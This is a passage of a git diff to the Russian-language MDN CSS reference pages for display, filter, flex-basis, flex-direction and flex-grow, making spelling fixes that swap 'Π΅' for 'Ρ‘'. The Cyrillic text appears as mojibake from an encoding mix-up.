ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΠΎΠΌΡƒ повСдСнию; Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли Π²Ρ‹ ΡƒΠΊΠ°ΠΆΠ΅Ρ‚Π΅ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π±Π»ΠΎΠΊΠΎΠΌ, Π²Ρ‹ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎ Π΅Π³ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты Π±ΡƒΠ΄ΡƒΡ‚ ΡƒΡ‡Π°ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Π² Π±Π»ΠΎΡ‡Π½ΠΎΠΉ ΠΈ строковой Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ°.</p>
</div>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
diff --git a/files/ru/web/css/display/index.html b/files/ru/web/css/display/index.html
index 9c23ae0a01..9f77aa45c7 100644
--- a/files/ru/web/css/display/index.html
+++ b/files/ru/web/css/display/index.html
@@ -14,7 +14,7 @@ translation_of: Web/CSS/display
<p class="summary">Бвойство <strong><code>display</code></strong> (<a href="/ru/docs/Web/CSS">CSS</a>) опрСдСляСт <dfn><em>Ρ‚ΠΈΠΏ отобраТСния (display type)</em> элСмСнта</dfn>, ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠΉ Π΄Π²Π° основных свойства, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΡ… Π³Π΅Π½Π΅Ρ€Π°Ρ†ΠΈΡŽ боксов β€” <strong>внСшний Ρ‚ΠΈΠΏ отобраТСния</strong> опрСдСляСт располоТСниС бокса Π² <a href="/ru/docs/Web/CSS/CSS_Flow_Layout">схСмС ΠΏΠΎΡ‚ΠΎΠΊΠ° (flow layout)</a> ΠΈ <strong>Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΉ Ρ‚ΠΈΠΏ отобраТСния</strong> опрСдСляСт располоТСниС Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов бокса (бокс - это ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½Π°Ρ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ, ΡΠ²Π»ΡΡŽΡ‰Π°ΡΡΡ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ элСмСнта).</p>
-<p>НСкоторыС значСния свойства <code>display</code> ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π² ΠΈΡ… ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹Ρ… спСцификациях; смотритС Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ Π² ΠΊΠΎΠ½Ρ†Π΅ этого Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° со ссылками Π½Π° всС Ρ€Π΅Π»Π΅Π²Π°Π½Ρ‚Π½Ρ‹Π΅ спСцификации. ΠŸΠΎΠ»Π½Ρ‹ΠΉ список Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ Π½ΠΈΠΆΠ΅.</p>
+<p>НСкоторыС значСния свойства <code>display</code> ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π² ΠΈΡ… ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹Ρ… спСцификациях; смотритС Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ Π² ΠΊΠΎΠ½Ρ†Π΅ этого Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° со ссылками Π½Π° всС Ρ€Π΅Π»Π΅Π²Π°Π½Ρ‚Π½Ρ‹Π΅ спСцификации. ΠŸΠΎΠ»Π½Ρ‹ΠΉ список Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ Π½ΠΈΠΆΠ΅.</p>
<pre class="brush:css no-line-numbers">/* &lt;display-outside&gt; values */
display: block;
@@ -78,7 +78,7 @@ display: unset;
<h2 id="Бинтаксис">Бинтаксис</h2>
-<p>Бвойство <code>display</code> задаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… слов. ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова Π³Ρ€ΡƒΠΏΠΏΠΈΡ€ΡƒΡŽΡ‚ΡΡ ΠΏΠΎ ΡˆΠ΅ΡΡ‚ΠΈ катСгориям:</p>
+<p>Бвойство <code>display</code> задаётся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… слов. ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова Π³Ρ€ΡƒΠΏΠΏΠΈΡ€ΡƒΡŽΡ‚ΡΡ ΠΏΠΎ ΡˆΠ΅ΡΡ‚ΠΈ катСгориям:</p>
<dl>
<dt>{{CSSxRef("&lt;display-outside&gt;")}}</dt>
@@ -86,7 +86,7 @@ display: unset;
<dt>{{CSSxRef("&lt;display-inside&gt;")}}</dt>
<dd>Π­Ρ‚ΠΈ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΉ Ρ‚ΠΈΠΏ отобраТСния ( inner display type) элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ опрСдСляСт Ρ‚ΠΈΠΏ контСкста форматирования, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ располагаСтся Π΅Π³ΠΎ содСрТимоС (ΠΏΡ€ΠΈ условии, Ρ‡Ρ‚ΠΎ это нСзамСняСмый элСмСнт).</dd>
<dt>{{CSSxRef("&lt;display-listitem&gt;")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π±Π»ΠΎΠΊΠΎΠ²Ρ‹ΠΉ бокс для ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΈ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ строковый (inline) бокс для элСмСнта списка.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π±Π»ΠΎΠΊΠΎΠ²Ρ‹ΠΉ бокс для ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΈ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ строковый (inline) бокс для элСмСнта списка.</dd>
<dt>{{CSSxRef("&lt;display-internal&gt;")}}</dt>
<dd>НСкоторыС ΠΌΠΎΠ΄Π΅Π»ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ <code><span class="css">table</span></code> ΠΈ <code>ruby,</code> ΠΈΠΌΠ΅ΡŽΡ‚ ΡΠ»ΠΎΠΆΠ½ΡƒΡŽ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΡŽΡŽ структуру с нСсколькими Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ ролями, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΈΡ… Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты ΠΈ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΈ. Π­Ρ‚ΠΎΡ‚ Ρ€Π°Π·Π΄Π΅Π» опрСдСляСт Ρ‚Π΅ "Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅" значСния отобраТСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ смысл Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ€Π°ΠΌΠΊΠ°Ρ… этих ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΎΠΊ.</dd>
<dt>{{CSSxRef("&lt;display-box&gt;")}}</dt>
@@ -122,7 +122,7 @@ display: unset;
<p>Π’ Ρ€Π°Π·Π΄Π΅Π»Π΅ {{anch("Syntax")}} содСрТатся нСсколько ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² для Ρ€Π°Π·Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ <code>display</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ это свойство ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ.</p>
-<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Ρ‹Π΅ объяснСния способов Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ <code>display</code> Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ… Π½Π° MDN:</p>
+<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Ρ‹Π΅ объяснСния способов Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ <code>display</code> Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ… Π½Π° MDN:</p>
<ul>
<li><a href="/ru/docs/Web/CSS/CSS_Grid_Layout">Π Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° CSS Grid </a></li>
diff --git a/files/ru/web/css/filter/index.html b/files/ru/web/css/filter/index.html
index 47f4e2954e..d17696fa1b 100644
--- a/files/ru/web/css/filter/index.html
+++ b/files/ru/web/css/filter/index.html
@@ -16,7 +16,7 @@ translation_of: Web/CSS/filter
<p><a href="https://developer.mozilla.org/en-US/docs/Web/CSS">CSS</a> свойство <strong><code>filter</code></strong>  позволяСт Π’Π°ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΊ элСмСнту Ρ‚Π°ΠΊΠΈΠ΅ графичСскиС эффСкты, ΠΊΠ°ΠΊ Ρ€Π°Π·ΠΌΡ‹Ρ‚ΠΈΠ΅ ΠΈ смСщСниС Ρ†Π²Π΅Ρ‚Π°. Π€ΠΈΠ»ΡŒΡ‚Ρ€Ρ‹ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для Ρ€Π΅Π³ΡƒΠ»ΠΈΡ€ΠΎΠ²ΠΊΠΈ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, Ρ„ΠΎΠ½ΠΎΠ² ΠΈ Ρ€Π°ΠΌΠΎΠΊ.</p>
-<p>Π’ стандарт CSS Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ нСсколько Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚ ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ эффСкты. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° SVG Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ с URL-адрСсом Π½Π°Β <a href="/en-US/docs/Web/SVG/Element/filter">элСмСнт Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Β SVG</a>.</p>
+<p>Π’ стандарт CSS Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ нСсколько Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚ ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ эффСкты. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° SVG Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ с URL-адрСсом Π½Π°Β <a href="/en-US/docs/Web/SVG/Element/filter">элСмСнт Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Β SVG</a>.</p>
<div class="note"><strong>ΠŸΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅:</strong> Π‘Ρ‚Π°Ρ€Ρ‹Π΅ вСрсии (с 4.0 Π΄ΠΎ 9.0) Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Β Windows Internet Explorer ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ нСстандартный <a class="external" href="http://msdn.microsoft.com/en-us/library/ms532853(v=vs.85).aspx">"filter"</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ с Ρ‚Π΅Ρ… ΠΏΠΎΡ€ устарСл.</div>
diff --git a/files/ru/web/css/flex-basis/index.html b/files/ru/web/css/flex-basis/index.html
index a4973a1812..35c6cbeca1 100644
--- a/files/ru/web/css/flex-basis/index.html
+++ b/files/ru/web/css/flex-basis/index.html
@@ -5,7 +5,7 @@ translation_of: Web/CSS/flex-basis
---
<div>{{CSSRef}}</div>
-<p><a href="/en-US/docs/Web/CSS">CSS</a> свойство <strong><code>flex-basis</code></strong> Π·Π°Π΄Π°Π΅Ρ‚Β Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ флСкс элСмСнта ΠΏΠΎ <strong>основной оси</strong>. Π­Ρ‚ΠΎ свойство опрСдСляСт Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚-бокса, Ссли Π½Π΅ Π·Π°Π΄Π°Π½ΠΎ ΠΈΠ½Π°Ρ‡Π΅ Ρ‡Π΅Ρ€Π΅Π· {{Cssxref("box-sizing")}}.</p>
+<p><a href="/en-US/docs/Web/CSS">CSS</a> свойство <strong><code>flex-basis</code></strong> Π·Π°Π΄Π°Ρ‘Ρ‚Β Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ флСкс элСмСнта ΠΏΠΎ <strong>основной оси</strong>. Π­Ρ‚ΠΎ свойство опрСдСляСт Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚-бокса, Ссли Π½Π΅ Π·Π°Π΄Π°Π½ΠΎ ΠΈΠ½Π°Ρ‡Π΅ Ρ‡Π΅Ρ€Π΅Π· {{Cssxref("box-sizing")}}.</p>
<div>{{EmbedInteractiveExample("pages/css/flex-basis.html")}}</div>
@@ -43,7 +43,7 @@ flex-basis: unset;
-<p>Бвойство <code>flex-basis</code> задаСтся Ρ‡Π΅Ρ€Π΅Π· ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code><a href="#content">content</a></code> ΠΈΠ»ΠΈ Ρ‡Π΅Ρ€Π΅Π· <code><a href="#&lt;'width'>">&lt;'width'&gt;</a></code>.</p>
+<p>Бвойство <code>flex-basis</code> задаётся Ρ‡Π΅Ρ€Π΅Π· ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code><a href="#content">content</a></code> ΠΈΠ»ΠΈ Ρ‡Π΅Ρ€Π΅Π· <code><a href="#&lt;'width'>">&lt;'width'&gt;</a></code>.</p>
<h3 id="ЗначСния">ЗначСния</h3>
@@ -51,7 +51,7 @@ flex-basis: unset;
<dt><a id="&lt;'width'>" name="&lt;'width'>"><code>&lt;'ΡˆΠΈΡ€ΠΈΠ½Π°'&gt;</code></a></dt>
<dd>An absolute {{cssxref("&lt;length&gt;")}}, a {{cssxref("&lt;percentage&gt;")}} Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ flex ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° Π³Π»Π°Π²Π½ΠΎΠ΅Β size свойство, ΠΈΠ»ΠΈ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>auto</code>. НСгативныС значСния Π½Π΅ допустимы.</dd>
<dt><a id="content" name="content"><code>content</code></a></dt>
- <dd>АвтоматичСский Π·Π°Π΄Π°Π΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π½Π° основС содСрТимого элСмСнта flex.</dd>
+ <dd>АвтоматичСский Π·Π°Π΄Π°Ρ‘Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π½Π° основС содСрТимого элСмСнта flex.</dd>
<dd>
<div class="note"><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong>Β Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ отсутствовало Π² ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΌ Ρ€Π΅Π»ΠΈΠ·Π΅Β Flexible Box Layout, ΠΈ, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠ΅ Ρ€Π΅Π»ΠΈΠ·Ρ‹ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ. Аналогичный эффСкт ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ <code>auto</code> вмСстС с основным Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌΒ (<a href="https://drafts.csswg.org/css2/visudet.html#propdef-width">width</a>Β ΠΈΠ»ΠΈΒ <a href="https://drafts.csswg.org/css2/visudet.html#propdef-height">height</a>)Β <code>auto</code>.</div>
@@ -60,7 +60,7 @@ flex-basis: unset;
<ul>
<li>ΠŸΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ, <code>flex-basis:auto</code> ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ "ΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π½Π° значСния <code>width</code> ΠΈΠ»ΠΈΒ <code>height</code>".</li>
- <li>Π—Π°Ρ‚Π΅ΠΌΒ <code>flex-basis:auto</code> Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ Π½Π° автоматичСский Ρ€Π°Π·ΠΌΠ΅Ρ€, Π°Β "main-size" Π±Ρ‹Π»ΠΎ Π²Π²Π΅Π΄Π΅Π½ΠΎ ΠΊΠ°ΠΊ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово, ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‰Π΅Π΅ "ΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π½Π° значСния <code>width</code> ΠΈΠ»ΠΈΒ <code>height</code>". Β Π­Ρ‚ΠΎΒ Π±Ρ‹Π»ΠΎΒ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Β Π²Β Β <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1032922" title='RESOLVED FIXED - Rename "flex-basis:auto" to "main-size", while preserving "flex:auto" shorthand value'>Π±Π°Π³Π΅Β 1032922</a>.</li>
+ <li>Π—Π°Ρ‚Π΅ΠΌΒ <code>flex-basis:auto</code> Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½ Π½Π° автоматичСский Ρ€Π°Π·ΠΌΠ΅Ρ€, Π°Β "main-size" Π±Ρ‹Π»ΠΎ Π²Π²Π΅Π΄Π΅Π½ΠΎ ΠΊΠ°ΠΊ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово, ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‰Π΅Π΅ "ΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π½Π° значСния <code>width</code> ΠΈΠ»ΠΈΒ <code>height</code>". Β Π­Ρ‚ΠΎΒ Π±Ρ‹Π»ΠΎΒ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Β Π²Β Β <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1032922" title='RESOLVED FIXED - Rename "flex-basis:auto" to "main-size", while preserving "flex:auto" shorthand value'>Π±Π°Π³Π΅Β 1032922</a>.</li>
<li>Π—Π°Ρ‚Π΅ΠΌ Π²Β <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1093316" title='RESOLVED FIXED - Back out flexbox "flex-basis:main-size" rename, since the CSSWG removed it from the spec'>Π±Π°Π³Π΅ 1093316</a> это Π±Ρ‹Π»ΠΎ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½ΠΎ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ, поэтому <code>auto</code> снова ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ "ΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π½Π° значСния <code>width</code> ΠΈΠ»ΠΈΒ <code>height</code>"; Π° Π½ΠΎΠ²ΠΎΠ΅ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>content</code>Β Π±Ρ‹Π»ΠΎ Π²Π²Π΅Π΄Π΅Π½ΠΎ для автоматичСского Ρ€Π°Π·ΠΌΠ΅Ρ€Π°. ({{bug("1105111")}} ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ этого ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ слова).</li>
</ul>
</div>
diff --git a/files/ru/web/css/flex-direction/index.html b/files/ru/web/css/flex-direction/index.html
index 4c343b98b7..06861addbf 100644
--- a/files/ru/web/css/flex-direction/index.html
+++ b/files/ru/web/css/flex-direction/index.html
@@ -43,11 +43,11 @@ flex-direction: unset;
<dt><code>row</code></dt>
<dd>Главная ось flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π° Ρ‚ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ тСкста. Π’ΠΎΡ‡ΠΊΠΈΒ <strong>main-start</strong> ΠΈΒ <strong>main-end</strong> ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‚ с Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°.</dd>
<dt><code>row-reverse</code></dt>
- <dd>Π’Π΅Π΄Π΅Ρ‚ сСбя Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎΒ <code>row</code> , Π½ΠΎ Ρ‚ΠΎΡ‡ΠΊΠΈΒ <strong>main-start</strong> ΠΈ <strong>main-end</strong> помСняны мСстами.</dd>
+ <dd>Π’Π΅Π΄Ρ‘Ρ‚ сСбя Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎΒ <code>row</code> , Π½ΠΎ Ρ‚ΠΎΡ‡ΠΊΠΈΒ <strong>main-start</strong> ΠΈ <strong>main-end</strong> помСняны мСстами.</dd>
<dt><code>column</code></dt>
<dd>Главная ось flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° такая ΠΆΠ΅, ΠΊΠ°ΠΊ ось Π±Π»ΠΎΠΊΠ° (block-axis). Π’ΠΎΡ‡ΠΊΠΈΒ <strong>main-start</strong> ΠΈ <strong>main-end</strong> Ρ‚Π°ΠΊΠΈΠ΅ ΠΆΠ΅, ΠΊΠ°ΠΊ Ρ‚ΠΎΡ‡ΠΊΠΈΒ <strong>before</strong> ΠΈ <strong>after</strong> Ρ€Π΅ΠΆΠΈΠΌΠ° записи (writing-mode).</dd>
<dt><code>column-reverse</code></dt>
- <dd>Π’Π΅Π΄Π΅Ρ‚ сСбя, ΠΊΠ°ΠΊΒ <code>column</code>Β , Π½ΠΎ Ρ‚ΠΎΡ‡ΠΊΠΈΒ <strong>main-start</strong> ΠΈ <strong>main-end</strong> помСняны мСстами.</dd>
+ <dd>Π’Π΅Π΄Ρ‘Ρ‚ сСбя, ΠΊΠ°ΠΊΒ <code>column</code>Β , Π½ΠΎ Ρ‚ΠΎΡ‡ΠΊΠΈΒ <strong>main-start</strong> ΠΈ <strong>main-end</strong> помСняны мСстами.</dd>
</dl>
<h3 id="Π€ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ_синтаксис">Π€ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ синтаксис</h3>
diff --git a/files/ru/web/css/flex-grow/index.html b/files/ru/web/css/flex-grow/index.html
index 3ce8182a72..740a6a9560 100644
--- a/files/ru/web/css/flex-grow/index.html
+++ b/files/ru/web/css/flex-grow/index.html
@@ -12,7 +12,7 @@ translation_of: Web/CSS/flex-grow
---
<div>{{CSSRef}}</div>
-<p><span class="seoSummary"><a href="/en-US/docs/Web/CSS">CSS</a>-свойство <strong><code>flex-grow</code></strong> опрСдСляСт ΠΊΠ°ΠΊ ΠΌΠ½ΠΎΠ³ΠΎ свободного пространства Π²ΠΎ flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΎ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌΡƒ элСмСнту (flex grow factor β€” «коэффициСнт увСличСния flexΒ»).</span> Π‘Π²ΠΎΠ±ΠΎΠ΄Π½ΠΎΠ΅ пространство β€” Ρ€Π°Π·Π½ΠΈΡ†Π° ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ всСх Π΅Π³ΠΎ flex-элСмСнтов вмСстС. Если всС sibling-элСмСнты (sibling items β€” элСмСнты ΠΎΠ΄Π½ΠΎΠ³ΠΎ уровня влоТСнности, состоящиС ΠΏΠΎ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡŽ 